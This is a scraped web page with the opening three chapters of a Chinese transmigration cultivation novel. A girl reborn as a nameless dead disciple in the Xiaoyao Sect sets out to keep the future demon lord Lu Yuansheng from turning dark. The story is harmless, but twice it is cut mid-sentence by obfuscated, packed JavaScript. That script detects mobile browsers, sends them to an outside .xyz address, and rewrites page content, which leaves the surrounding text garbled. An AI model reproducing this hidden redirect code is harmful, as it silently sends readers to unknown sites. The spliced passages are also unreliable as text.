《修仙文里最强挂她还有剧本[穿书]》 1. 祝您好运 沈玄宁刚睁开眼时,只觉得浑身骨头像散了架,眼皮重得掀不开,她费力地眨了眨眼坐起来,才看清自己正躺在一张木床上。 窗外应该是入夜了,只有几缕月光从窗户的破洞里挤进来,她借着这微弱的光慢慢打量四周,房间的布置很简单,除了身下这张床,就只有墙角一套桌椅。 只不过空气弥漫着一股难以言喻的酸馊气味,这一看床头的地面上还残留着些干涸的呕吐物,旁边散落着几株枯蔫的草药,干瘪的草药味混着酸馊气,在逼仄的空间里发酵,闻着让人胃里直翻腾。 这什么鬼地方,是谁绑架了她要勒索她大哥吗? 沈玄宁头痛扶额思考了半天,然后发现了更诡异的事情,怎么手还变成了缩小版了? 还没等她从这惊悚的发现中回过神,一道空灵机械音突然在脑海中响起,吓得她差点从床上滚下去: “叮—— 恭喜宿主绑定成功,欢迎您来到修仙小说《藏心》的世界。” 沈玄宁浑身一僵,猛地抬头四处张望。 她确实是前段时间看了本叫《藏心》的修仙小说,所以……现在这情况,就是传说中的穿书? 穿成谁了? 没等她再多思考两秒,系统就为她解答了。 屋子里忽然凭空浮现出一本线装书,书页无风自动,唰唰唰地翻得飞快,最后停在某一页,一行字突然亮起金光,在她眼前疯狂闪烁,沈玄宁眯着眼睛凑近看了看。 [这批新上山的弟子里面居然死了个人,真是晦气。] 她是这个嘴碎的弟子? 还是说……是这个死了的晦气人啊? 难怪在这屋子里面吐成这样,身上还又疼又虚的,合着她穿来的时间点,原主刚咽气啊。 现在穿书都降级成这样了吗? 什么恶毒女配炮灰师妹这些角色已经满足不了系统的恶趣味了是吧,现在给的已经是个连名字都没有就挂了的路人甲吗! 她刚想吐槽,系统的机械音又开口了: “您的任务是打败男主陆远声,并阻止他打开魔界之门毁灭修真界。任务完成后可回归现实世界,并获得超级奖励。” “啊?”沈玄宁抬起缩水版的小手指了指自己,想起陆远声是何许人也以后声音都有点发飘:“我吗?” 这跟让鲶鱼精去除掉唐僧师徒有什么区别? 知不知道陆远声哪位啊? 魔尊之子,逍遥宗内门弟子中的佼佼者,后期翻手为云覆手为雨的超级大魔王。 呵,你让我这样一个连名字都没有的小角色去打败他? 沈玄宁艰难地向系统又确认了一遍,“开玩笑的吧?” “是的,宿主,开玩笑的。” 沈玄宁:“……重新说。” “您的任务是阻止男主陆远声打开魔界之门毁灭修真界,任务完成后可回归现实世界,并获得超级奖励。友情提示宿主,《藏心》世界与现实世界流速不同,现世一日等于修真世界的一年,祝您好运!” “等等等!!这跟刚刚有什么区别啊!”沈玄宁猛地从床上弹坐起来,不顾浑身骨头的酸痛,对着空荡荡的屋子挥了挥拳头,“你以为把打败两个字去掉区别很大吗!再重新说!!” 系统这回没有重新说,回答她的是冰冷冷的机械音:“祝您好运!” “不是,再商量一下啊,那可是陆远声啊,我算哪根葱啊?” “祝您好运!” 认命的沈玄宁翻了个白眼,有气无力道:“既然这样,好歹给个挂用用吧?你总不能让我就这么赤条条地……” 没想到这还真的有,话还没说完,眼前突然迸发出一道刺目的白光,瞬间将她吞噬。她被卷入一片混沌中,等她站稳再次睁开眼睛时,整个人都僵在了原地—— 出现在面前的,竟然是她住了二十多年的家!熟悉的白色别墅,被人原模原样地从现实世界搬了过来。 沈玄宁的脚步不受控制地冲了过去,内里里的摆设也是一模一样,甚至连茶几上她没喝完的半杯果汁都在,她立刻寻了块镜子照了照自己,镜中的自己是个七八岁的小女孩模样,头发乱糟糟地纠结在一起,身上穿了件破烂的灰布衣衫,面色蜡黄,瘦得只剩一把骨头。 这又是什么鬼! “随身空间内物品每日将会重置数量,但除宿主外的人不可进入。” 系统停顿了一下以后还不忘补一句:“祝您好运。” 沈玄宁:“……到底谁会觉得好运了?” “祝您好运!” “转人工。” “祝您好运!” “……能滚吗?” 系统沉默不语,看起来这一点是可以的。 沈玄宁放弃了跟这个油盐不进的系统较劲,她抬眼看向一直悬浮在半空的线装书,抬手招了招:“过来。” 结果那本书真的很听话的飞了过来,还好还好,系统虽不靠谱,但把书给她留下了。 沈玄宁摩挲着纸页心里踏实了一点,她看小说向来是一目十行地囫囵吞枣,看得飞快嚼得不烂,《藏心》这本书她飞速看完,剧情只记得个大概脉络,细节早忘个干净,或者说压根就没有细看。 不过现在没关系了。 既然这本书还留在她手里,往后大可以随时翻查,哪个时间点会有什么大事件,哪个山谷有什么秘境宝藏或者隐藏机关,只要翻一翻,一清二楚。 若是遇上装模作样的反派boss她也能一眼看穿,顺便还能用手指着人家喊出那一句经典台词! 你,就是凶手! 这应该也勉强算挂吧?有了这上帝视角,任务难度绝对是直线下降的,虽然还是很难就是了。 外面天还黑着,估摸着别人都还在睡觉,现在出去也没什么用,沈玄宁暂时也不打算出空间,她把书拎到了楼下客厅,爬到了沙发上打算再看一遍。 《藏心》这本书主要是讲魔尊之子陆远声和逍遥宗宗主之女鹤穗二人横跨正邪两道的爱恨纠葛,他们在逍遥宗一见钟情相遇相爱,而后身份揭开反目成仇,上千章的篇幅里一半是打打杀杀,一半是哭哭啼啼,从开头纠缠到结尾,明明一句话能说清的误会,偏要拐个七万八绕,但凡这两人长个嘴,书能薄一半。 而且主要是他们俩这一误会吧,遭殃的全是别人。 好一个死道友不死贫道啊,要不说你俩是男女主呢,真是一对天打雷劈的恋爱脑! 不过平心而论,小说里的主线副本写得确实出彩。烟州水患、折射镜百年轮回这些单元情节在公共平台上讨论度极高,也算撑起了这本书的热度,可这再好的剧情也架不住拧巴死的感情线拖后腿,连沈玄宁这种快速扫文的人都没少吐槽。 当然最坑的还得是这个大结局,陆远声黑化后大开魔界之门屠戮修仙门派,鹤穗大义灭亲手刃亲夫,剧情到这儿戛然而止,超级大OE(开放式结局)。 什么玩意儿!你门开了到底关不关啊! 此等烂尾,看完书的沈玄宁在评论区随便一扫都是炸锅的网友,大家从作者文笔骂到剧情逻辑,闹上热搜以后连平台都出来发了次声明,说一定会让作者出个番外补全结局。 结果到沈玄宁穿书前,番外影子都没见着。 沈玄宁把《藏心》又粗略翻完,合上书心念一动便退出了系统空间,她又重新站回那间屋子时,窗外已泛起鱼肚白,空气中的酸馊味依旧刺鼻,但比起刚穿来时,她已经可以勉强忍受了。 眼下最要紧的是摸清处境再考虑具体怎么行动。 她刚摸到门闩,就听见门外传来窸窣的脚步声。沈玄宁屏住呼吸,悄悄凑到窗户破洞边上,这里能勉强看清外面的情形。门前的石阶上坐着个蓝白衣衫的少女,不远处站着两个和她穿着同款衣裳的,看起来这似乎是统一的弟子服。 “赵琳琅,你怎么又来自讨没趣了?”说话的是个尖嗓子,“那个怪人几天没开门了,你这样巴巴地一直凑上去做什么?” 另一个人立刻搭腔:“这人别是个哑巴吧,来了几日你们可曾听过她说话?琳琅,你瞧你这连着敲了几日的门,她可有搭理你?” 被称作赵琳琅的少女抬起头,温和地笑了笑:“左右也没别的事,我就来瞧瞧她。大家以后都是同门,照拂一二是应当的。” “同门?” 对方像是听到了什么笑话,嗤笑一声,“谁跟这种来路不明的怪人是同门?我听说她是不知道哪位长老从乱葬岗附近捡回来的,浑身晦气!真不知道逍遥宗怎么会收这种人。” 逍遥宗!沈玄宁捕捉到了关键词。 “前几日瞧见她,浑身起的红斑吓死个人,怕不是得了什么怪病?如今又整日关着门,别是……死在里面了吧? ”说话那人顿了顿,又故意提高音量:“明日就是外门弟子正式修行的日子了,我倒要看看,她出不出来!不出来就等着被赶下山吧!别死在逍遥宗,没得给大家添晦气!” 门后的沈玄宁听得眉头紧蹙,这话说得多少有些恶毒了,不过原主确实是已经死在逍遥宗了。她抬手撸起衣袖,胳膊上虽然有些脏却是光洁一片,想来那什么红斑已经退去了。 赵琳琅看起来是个好脾气,面对这么歹毒的话她的声音温和依旧,只对着那两人摆了摆手,“青虹,没事的话你们先走吧,我再等一会儿。” 对方似也不想和她继续说下去了,门外的脚步声渐渐远去,周遭重归安静,沈玄宁在门后踌躇片刻,伸手拉开了那道木门。 赵琳琅原是背对着门坐在石阶上,听见动静猛地回过头,看到沈玄宁看门出来后像受惊的兔子般往后踉跄了半步,发髻上别着的银铃叮当作响,她瞧着像是十三四岁的模样,比沈玄宁如今这具身体要高出小半个头。 她抿着唇低头看了沈玄宁半晌,才细若蚊蚋地问:“你……你的病好了吗?” 沈玄宁被问得一愣,只能含糊着点点头:“应、应该是好了吧。” 赵琳琅见她竟真的接了话,攥着米糕的手指悄悄松开了些,她把油纸包往前递了递:“食堂刚蒸好的米糕,我给你带了两块,你要吃吗?” 油纸里透出淡淡的米香,沈玄宁看着那只举在半空的手心里忽然一动,轻声应道:“谢谢你。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117706|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 赵琳琅闻言眼睛亮了亮,连忙把油纸包往她面前又送了送。 沈玄宁接过油纸包,顺势就在门前的石阶上坐下了,她迎着赵琳琅满含期待的目光,拿起一块米糕轻轻咬了口,便冲对方弯了弯眼:“好吃的,多谢你。” 赵琳琅也挨着她在石阶上坐下,像是终于得到了搭话的许可,先前那点怯生生的模样一扫而空,反倒显出几分话痨的劲头:“我叫赵琳琅,我和我弟弟是从大河村来的,你知道大河村吗,嗯,好像离逍遥宗好像有些远,不过带我们来的那位仙人御剑一下子就到了,周围好几个村子就选中了我和我弟弟呢,我爹娘可骄傲了……” 她语速又快又急,哪怕沈玄宁不作声也能自说自话地讲得热闹。 沈玄宁小口嚼着软糯的米糕,安静地当听众,脑子里却是飞快地转了几圈,赵琳琅这个名字她全然陌生,看来跟她一样也是个路人甲,并不是什么关键角色。 赵琳琅自顾自地说了一大串,沈玄宁手里的米糕已见了底,这逍遥宗外门食堂的手艺倒不算差。 沈玄宁轻轻抖了抖手,把掌心的碎屑都拢进油纸里,强迫症把这油纸给仔细折好了,听到赵琳琅问及姓名,她想了想道:“要不你叫我……玄宁?” 反正原身是个连名字都没有的路人甲,沈玄宁正好用本名了。 “我叫你宁宁!”赵琳琅笑得露出两颗尖尖的小虎牙,“昨日柳师姐给我们发新弟子服了,你瞧——”她拽了拽自己身上的弟子服,“这衣服可好看了,料子也滑溜溜的,我还没穿过这么好的衣服呢!你这几日一直没出门,怕是错过了发衣服。我前两日来敲过门,许是你病着没听见,我给你梳洗一下,再带你去领衣服,我认得路,保管没错!” “好啊。”沈玄宁点头应下,心里正发愁怎么自然地摆脱这一身邋遢,赵琳琅的提议来得正好。 其实昨天在系统空间里时,她就想痛痛快快洗个澡,可又怕这邋遢模样是原身的人设,贸然变得干净利落,难免引人怀疑,露馅就不好了。 赵琳琅见她答应立刻来了精神,不知道跑哪儿去找了木盆,回来的时候端着满满一盆温水,水面上还冒着丝丝热气,另一只手里则攥着块叠得整齐的粗布手帕,料子虽算不上精细,但比沈玄宁身上的破衣好多了。 “来,进屋吧,我给你洗洗。”赵琳琅引着沈玄宁往屋里走,刚迈过门槛就下意识蹙了蹙眉,屋里那股酸馊混着草药的味道确实冲人。她却没说什么,只转头对沈玄宁笑了笑,“一会儿我把屋子也给你收拾了,地上这些……总归看着不舒服。” 赵琳琅的动作很轻,先用湿帕子一点点擦净她脸颊和脖颈上的污垢,帕子洗了三回,才露出底下蜡黄却非常光滑的皮肤,又舀了些温水在掌心,小心翼翼地梳理她纠缠成一团的头发,遇到打结的地方,就用指尖蘸着水慢慢揉开,生怕扯疼了她。 都理顺了以后才又去换了水开始给她洗头发,赵琳琅来来回回跑了好几趟打水收拾沈玄宁,还带了一套自己的旧衣服让她先换上。 当然赵琳琅一边收拾也不忘了继续絮叨。 “宁宁你知道吗?这里的食堂可好吃了,每天吃得比我们村子里过年吃得都好,我们村里人一定羡慕坏了,我才来几天都长胖了,你再养些日子,定能长些肉出来。” “听说咱们这批新弟子今日就算是全到齐了,管事的柳师姐说明日就要开始正式修行了,也不知道修行到底是什么样子的呢?” “我娘说入了逍遥宗的门,以后就算是仙人了,宁宁你说,咱们以后也能像仙人一样在天上飞来飞去吗?” 沈玄宁记得书里写过,逍遥宗外门每年都会广授仙缘招收弟子,不问出身只看灵根,哪怕是山野村夫的孩子,只要测出有修行潜质,就能被接入山门,这也是为什么像赵琳琅这样的乡野少女能有机会踏入仙门,而自己这具身体的原主,大约也是凭着有些灵根才得以进入逍遥宗。 外门弟子需在此修行三年,而内门大考也是三年一次。若是成绩优异,便可晋升内门,运气好些的,甚至有机会被九峰峰主看中,收为亲传弟子,那便是一步登天的机缘了。 沈玄宁望着赵琳琅眼里的憧憬,顺着她的话附和了句:“当然会的,你好好修炼,御剑飞行自然是没问题的。” “真的吗?”赵琳琅见她肯接话,顿时笑得更高兴了,手里的红绳在指尖绕了个圈,把沈玄宁颈后最后一缕碎发掖进简单的丫髻里,“好了,收拾干净了,我带你去领弟子服,穿着可比你现在舒服多了!” 沈玄宁跟着赵琳琅找地方,按规矩领了两套蓝白色的外门弟子服,衣服领口绣着展翅欲飞的仙鹤,针脚细密,摸起来确实比原身的破衣柔软许多,还领了双鞋子,她换上以后走路都舒服多了。 领完衣服回到寮舍,赵琳琅又自告奋勇要帮她打扫屋子,沈玄宁想起身帮忙一起干都被她以大病初愈为理由给拦住了,等一切都收拾干净,赵琳琅又带着不认路的沈玄宁去食堂吃了一顿饱饭。 神清气爽且吃饱喝足的沈玄宁总算觉得自己稍稍活过来一些了,脑子也能稍微动动来思考下如今的情况了。 2. 挂中之王 沈玄宁目前可以确认的是,她现在身处的位置是逍遥宗外门没错了。 而且按剧情推算,陆远声正是这两年拜入山门的。沈玄宁的计划很简单,先在外门好好蹲着,等陆远声上山,趁着他年纪还小,赶紧用各种办法感化他。 小年轻嘛!可不能动不动就黑化啊!总得让他知道人间有真情啊! 再然后,就是盯住陆远声和鹤穗这对天打雷劈的孽缘鸳鸯,好好谈恋爱没问题,必要的时候她也可以当一下这俩人爱情保安,总之,不能让他们再像书里那样误会来误会去最后连累整个修真界跟着陪葬。 哦对,沈玄宁拍了下大腿,想起一个至关重要的点。 陆远声黑化,除了他心化魔种以外,更直接的导火索,是一个人的死。 书里写,魔尊被封印后尚且年幼的陆远声就成了个孤儿,流浪数年后才被一户姓谢的人家收养,此后便一直跟在谢家少爷谢疏言身边,那位谢少爷是出了名的温润公子,人美心善,且待陆远声极好。 可以说,谢疏言是陆远声少年时期唯一的白月光。 书中对谢疏言的死写得极其模糊,只说是在入逍遥宗的第三年突然去世的,后来陆远声才查到线索,害死谢疏言的正是逍遥宗内门一位长老的子侄,而那位长老欺上瞒下竟然压下了此事,草草定论为意外病故,就是这件事,彻底碾碎了陆远声对逍遥宗的信任,也成了他黑化的开端。 所以此事最重要的一点,就是谢疏言不能死。 沈玄宁抬手敲了敲空气在心里问道:“系统你说是不是?” 系统:…… 祝您好运呢?这个也不说了? 没礼貌! 有了初步计划,沈玄宁又卡在了下一步,怎么把计划实施? 在外门盯着陆远声或许还能勉强做到,毕竟大家都在外门修行,抬头不见低头见。 可内门呢? 沈玄宁一想到这里就忍不住犯愁,拜托,这里可是逍遥宗啊!四大仙门之首啊! 山上虽然只有这三年招上来的新弟子,可山下还有数以万计往届没能考过的外门弟子,这么多人加在一起不知道有多少,每年能通过这内门大考晋升的,却不过寥寥数十人。 内门才是逍遥宗真正的核心,能进去的无一不是万里挑一、再再再挑一的天才。她一个路人甲,既不是陆远声那种自带光环的天才,能凭实力直通内门,也不是鹤穗那种宗主之女,生下来就站在内门的云端之上。 所以沈玄宁现在很担心,她这个身体的原主会不会天赋差得三年后内门大考的初测都过不去? 若是连内门的边都摸不到,那后续的计划就全成了空谈,万一陆远声在她看不到的地方悄悄黑化,然后打开魔界之门那不就全完蛋了? 沈玄宁猛地坐直身子,不行,一定得考过去! 她翻出《藏心》里关于内门大考的章节,逐字逐句地啃起来。 逍遥宗的内门大考每三年一次,流程不复杂,但是条件却是非常严苛。 所有参加的弟子需先检验灵力修为,测试修为的石碑会根据年龄自动划定灵力标准,十五岁有十五岁的线,十八岁有十八岁的坎,这意味着年纪越大,考核门槛越高,绝不是苦修个十几年达到上次标准就能过关的。 怎么修个仙也要搞年龄焦虑啊! 多少人卡在这一步,考到头发花白都摸不到内门的边。 沈玄宁头痛地对照自己这具身体的年纪算了算,今年八岁,三年后十一岁,这么小的话考核的标准应该还不算太离谱,至少比二十岁再考要容易些。 过了灵力初测,才轮到九峰各自设考,逍遥宗九峰各有所长,考法自然也各有不同,有考炼药术的,考聚灵法阵的,还有考御兽之术的,当然这并没有数量限制,如果你愿意可以把九峰都考一遍。只要通过其中一峰的考核,就有资格进入最终评定。 所以每次大考都有抱着捡漏心态的人把九峰的考试全去考一遍,当然有这样心态的人本身也不符合内门要求,自然是没有一人捡漏成功过。 最后一项是九峰峰主亲自面审,看上眼的就能收入峰内,运气好的能直接拜入九峰峰主门下做嫡系弟子,稍逊一筹的,就归到峰内长老名下做旁系弟子,要是没被看中,哪怕前面考得再好,也只能打道回府继续当外门弟子。 书中还特意提到了历届大考榜首的去向,除了一位叫元清的弟子坚定不移地拜入宗主鹤游门下以外,其余的几乎都削尖了脑袋想进问剑峰,问剑峰作为逍遥宗的最强战力,天下修仙者无不向往,只是问剑峰收徒万分严苛,这么多年来,通过大考拜入问剑峰的弟子,满打满算也就六个。 当然,男女主是例外。 陆远声以内门大考第一名的成绩进了问剑峰,鹤穗紧随其后拿了第二,那届问剑峰史无前例地破格收了两名弟子,这事在逍遥宗轰动了不少年。 沈玄宁看到这儿,默默合上了书。问剑峰?她是想都不敢想的,别说考榜首了,能通过任意一峰的考核混进内门,她就谢天谢地了。 她觉得自己的目标得定得实际些,比如选个离问剑峰的近的主峰拜下,方便她时常去关心一下陆远声的身心健康,提前把黑化的苗头扼杀在摇篮里。 沈玄宁刚还翻到了两句问剑峰传给陆远声的修炼口诀,管它有用没用,先试试再说。她坐直身子,按照书上写的手势比划了起来,拇指与食指相扣,其余三指自然舒展,掌心微微内凹。 “一息入渊,百川纳吉,意守丹田,神游太虚……” 沈玄宁低念着口诀,刻意放缓呼吸,试着模仿她看过的修仙小说,里面说的那些什么气沉丹田的状态,她下意识闭上眼,屏退杂念,没想到真的感觉到了变化。 一股暖流从脚底升起,顺着脚踝、小腿、腰腹慢慢游走,所过之处,原本酸涩疼痛的筋骨都舒展了许多,就像泡在温水里,连呼吸都变得顺畅。 这就是灵力? 沈玄宁屏气凝神,任由那股暖流在体内缓缓流转,最后又慢慢沉回小腹,完成了一周的灵力循环,等她再次睁眼时,只觉得眼前的世界都清晰了几分。 “原来修炼是这种感觉。” 沈玄宁喃喃自语,她以前总觉得那些修仙小说里写的用修炼代替睡觉很离谱,亲身体验过才知道,这种由内而外的通透舒畅,比睡足一整天还解乏。 她索性盘腿坐好,重新掐起手势,跟着口诀一遍遍运转灵力。 不知过了多久,窗外的天色由暗转明 ,沈玄宁却丝毫没觉得累,直到外头传来其他弟子们的脚步声和说笑声,她才发现自己竟然真的修炼了一晚上。 沈玄宁在心里默默流泪,你有没有为了谁,拼过命…… 陆远声!一定要心理健康来报答我啊!好吗? 今日是新一批外门弟子正式开始修行的日子。天刚蒙蒙亮,外门的演武广场就已站满了人,蓝白色的弟子服密密麻麻挤成一片,外门三年一考,没考过就要下山自行修炼,因此留在这山上的只有这三年新入门的弟子。在场都是年轻的面孔,少男少女们脸上带着既兴奋又忐忑的神色,三三两两地交头接耳。 沈玄宁默默跟着赵琳琅穿过人群,前面站着个虎头虎脑的小男孩,年纪比她大一些,正踮着脚朝她们使劲招手,他圆脸上嵌着双亮晶晶的眼睛,笑起来时嘴角也有两个浅浅的梨涡,像极了赵琳琅。 “姐!这里!”小男孩嗓门洪亮,引得周围几人看了过来。 “这是我弟弟,赵吉利。”赵琳琅笑着把沈玄宁往前推了推,“吉利,这是宁宁。” 赵吉利,沈玄宁琢磨了一下这个名字,还真是有点印象的,是玲珑峰的弟子,赵琳琅的弟弟倒是厉害,将来还真让他考到内门去了。 她正和赵琳琅姐弟俩说着话,眼角余光忽然瞥见人群边缘站着的两个身影,正是昨日在她门前对着赵琳琅说风凉话的青虹二人。此刻她们正盯着沈玄宁,脸上满是震惊,像是没想到那个浑身晦气的怪人竟能这般干净利落地出现在这里。 但不知为何,她们只是远远看着,没敢像昨日那样上前讥讽,眼神里甚至带着几分不易察觉的畏惧,沈玄宁疑惑间忽然听见脑海里“叮”的一声轻响,系统那熟悉的机械音再次响起—— “检测到人物目标出现,陆远声。” 主角来了! 沈玄宁猛地回头,广场西侧的老树下,两个少年正并肩走来。走在左侧的少年身形清瘦,墨发用简单的银冠束成高马尾,素白的发带缠绕在发间,他穿着外门的弟子服,蓝白的颜色让他多添了几分少年人的柔和,可那双眼抬起来时,却黑沉沉地透着股冷意。 是陆远声! 沈玄宁的心跳瞬间飙到嗓子眼,脑内弹幕一串又一串。 真不愧是男主啊!少年时期的陆远声也长得太好看了吧!就是这么小的年纪就学会了冰块脸吗,这样真的不好。 她的目光又飞快扫过陆远声身边的人,那少年也穿着一样的弟子服,以一根玉簪固定着马尾,显得文雅许多,他正侧头对陆远声说着什么,嘴角噙着浅浅的笑意。 陆远声是这个,那么旁边这个就是谢疏言了。 书里对谢疏言的描写少得可怜,寥寥数段不过千字,却字字都在说他的好,白衣皎皎,如玉温良。 谢少爷千好万好,只可惜好人不长命。 正思忖间,辰时的钟声骤然响彻山门,有一道白光从内门方向飞掠而来,没等大家看清广场中央已稳稳立着一个身影,来人一袭月白色长衫,衣袂翻飞间露出了腰间悬着的一柄玉剑,单看这佩剑,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117707|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知此人不是寻常弟子。 喧闹的广场瞬间静得落针可闻,新弟子们下意识屏住呼吸,目光里满是敬畏,这是他们拜入逍遥宗以来,头一回见到内门弟子。 “我乃坐忘峰弟子元清,今日由我为诸位师弟师妹讲解宗门事宜。” 沈玄宁心头微动,果然是他,逍遥宗宗主鹤游的大弟子,元清。书中说他亦是不逊于陆远声的修炼奇才,性子却温和得不像个顶尖修士,最是耐心细致。 “入我逍遥宗,需先知晓九峰所长,方能找准修行方向。”元清的声音通过灵力在广场上回荡,每个字都清晰地落进众人耳中,他抬手一挥,空中浮现出九座山峰的虚影,竟是将整个逍遥宗的山势都微缩在了眼前,中间那座云雾缭绕的山峰闪着金光,“此乃坐忘峰,宗主和许多长老都居于此地,统御九峰,护山大阵亦由此处执掌,是为我逍遥宗之根本。” 话音刚落,他手指平移,东侧一座山峰亮起:“那是问剑峰,以剑入道,乃逍遥宗最强战力。” 随着元清的介绍,空中代表九峰的山峰虚影接连亮起。 “符天峰,符箓正宗,气引天地入符咒,可镇邪退鬼。” “玲珑峰,精于法阵冶兵,宗门神武与法宝也多来自于此。” “戒律峰,主理宗门日常事务,亦是执法司的所在。” ………… 元清将九峰的职责一一道来,虚影消散时,广场上一片吸气声。新弟子们交头接耳,脸上泛着兴奋的红晕,这有不少十四五岁的半大孩子,攥着衣角的手都在发抖,是被九峰的气派与玄妙震住了。 不过沈玄宁觉得这一长串介绍下来,又是九峰专长又是司职范围,怕是没几个人能全记住。 她瞥了眼身旁的赵琳琅,小姑娘正掰着手指头念叨:“坐忘峰是宗主的地方,问剑峰是练剑的,符天峰是画符,栖霞峰炼丹……”念到一半就卡壳了,吐了吐舌头对沈玄宁说:“好多呀宁宁,我记不住怎么办?” “没事儿,记不住就算了,反正也没啥要紧的。”沈玄宁拍了拍她胳膊安慰道。 “整个修真界,四分天下。”元清话锋一转,空中陡然铺开一幅以灵力幻化的四域版图,四色光晕分别笼罩着东南西北四个方位。 “由四大宗门各守一方百姓与其下修仙世家,共御邪魔。分别是我派逍遥宗,天枢阁,万界城还有碧霞仙居……” 沈玄宁兴致勃勃地听着,关于宗门格局这些事儿,她在原著里早已翻得烂熟,但这般结合灵力幻化的立体版图来听全面讲解,还是头一遭,元清灵力所指之处,便能清晰看到各宗门的势力范围、麾下仙门世家与核心术法,比书里枯燥的文字描述直观多了。 “逍遥宗,坐镇东方,九峰分别入道,以‘坐忘问道,逍遥长生’为旨,乃是真正的道法正统。” “天枢阁,悬于北方,以灵力托举的宗门建于九霄云巅,擅观星象、引天雷,因此天枢阁弟子都自诩为天上仙人。” “万界城,镇守西方,城郭万里,专精结界封印之术,魔界入口便在万界城的看守范围之内,那里常年重兵驻守,是抵御邪魔的第一道防线。” “碧霞仙居,位于南方,丹道冠绝天下,宗门也是富可敌国,更有‘丹出碧霞,天下趋之’的说法。” 沈玄宁一边听着元清讲解四派格局,目光却不由自主地飘向斜前方。陆远声正仰着头,看得极为认真,也像是被震撼到了一般,谢疏言站在他身旁,偶尔侧头与他低语两句。 她的眼神在两人之间转了个圈,心里又开始盘算,到底要怎么接近这两人呢? 既要自然不突兀,还要慢慢处成能说上话的朋友,这可真得好好琢磨琢磨。陆远声面上冷漠,其实骨子里却是个极好哄的傲娇,典型的嘴硬心软,吃软不吃硬,对付这种性子,就得顺着毛捋。 话是这么说,可怎么去给他捋毛也是个难题,陆远声长大以后是冰块脸,现在是小冰块,显然是防备心极重,若是贸然示好,怕是会惹他怀疑,反而把关系弄僵。 想要顺其自然地接近,以他这傲娇又好强的性子,以德服人估计是行不通了。沈玄宁摸了摸下巴,忽然觉得以武德服人或许更靠谱些。 成为比他厉害的强者,引起他的注意,最好是让他主动来结交。 嗯,这个办法好…… 好个鬼啊! 沈玄宁在心里把自己吐槽了八百遍,她是哪点能比陆远声强啊!在一本修仙文里,一个连名字都没有的路人甲,还想让未来毁天灭地的大魔王崇拜她? 怕不是活在梦里。 不过…… 沈玄宁眨了眨眼,开挂能看到全书算吗? 那当然算了! 这可是货真价实的金手指,上帝视角的全剧情攻略,挂中之王! 3. 用真心吧 感觉找到方向的沈玄宁打算第二天晨修的时候就开始现眼,只是今日来授课的并非昨日瞧着面善的元清师兄,而是一位身着灰袍、满脸褶子的白胡子老头,他眼神扫过队列时自带一股威严,看着就不好惹。 “都给我站好了!东倒西歪像什么样子!”老头往广场中央一站,声音洪亮震得人耳朵发麻,“我乃戒律峰的执法长老郝仁,以后你们可以叫我郝长老。” 沈玄宁被吼地下意识缩了缩脖子,心里却是半点憋不住笑。 郝仁?好人? 还好长老…… 您老忒会占便宜了点吧? 她偷偷瞄了瞄周围,果然有几个年纪小的弟子没忍住,嘴角悄悄勾起,被老头一记眼刀扫过去,又硬生生憋了回去,憋得脸色通红。 “晨修开始前,先考校昨日的内容。”郝长老负手而立,目光如炬,“老夫倒要看看,你们昨日究竟听进了几分。” 周围立刻响起几声细碎的“啊”声,不少弟子悄悄低下了头,显然是把元清昨日的讲解忘得七七八八了,这些新来的小弟子有不少出身乡野,别说记全内容,字都认不得几个,哪里能一下子消化这么多? 元清昨日的讲解也不过是略作科普而已,郝长老一上来就考这个确实是有些难为人了。 不过沈玄宁却在心里欢呼出声,此刻真是想真心实意地喊一句好长老啊! 好长老!来得正好! 她就估摸着今日可能需要抽考,世界观设定背得滚瓜烂熟这应该也算是个优势吧,本打算把这优势伪装成过耳不忘的本领发挥一下,在陆远声面前展现她的强者风范刷点存在感。 结果元清师兄没来,不过郝长老也是要抽考的,结果依然没差。 沈玄宁悄悄挺直脊背,眼睛亮晶晶地望着郝长老,就等他开口提问,那副蓄势待发的模样,在周围一群缩着脖子恨不得把脑袋埋进衣领的弟子里格外显眼。 郝长老的目光果然精准地落在她身上,沉声道:“就你了。” 沈玄宁在心里千恩万谢郝长老,可旁边的赵琳琅却吓得脸都白了,昨天说的东西太多她确实是没记住多少,见沈玄宁被点名,一颗心都提到了嗓子眼,生怕她答不上来被责罚。 沈玄宁察觉到身边的动静,侧过头给了赵琳琅一个安心的眼神示意她别担心,随即出列对着郝长老规规矩矩一拜:“弟子拜见郝长老。” 郝长老嗯了一声,目光在她身上停留片刻,见她这小小年纪神色镇定毫无怯意,眼底便掠过一丝不易察觉的审视:“逍遥宗九峰之一的栖霞峰擅长什么?” “栖霞峰精研丹道医理,以固本培元为要。”沈玄宁条理清晰地阐述,“峰上丹炉常年烟火不断,炼制丹药能助宗门弟子稳固修行根基、提升灵力修为,而各种伤药更是众弟子在外修行历练时的重要保障。” 郝长老盯着她看了两眼,又慢悠悠地开口:“昨日元清讲了四大宗门,你且说说,天枢阁最擅何种术法?” “天枢阁最擅探星术,探星术可夜观天象,推演吉凶祸福,小至明日天气晴雨,大至仙门运道兴衰,皆能从星轨中窥得一二。而他们赖以成名的攻击术法是引雷诀,引雷诀可引动九霄天雷,其威力霸道无匹。” 郝长老眼中闪过一丝讶异,又接连抛出几个问题,沈玄宁都对答如流,且说得详细准确,连四宗麾下几个重要仙门世家的姓氏都没说错。 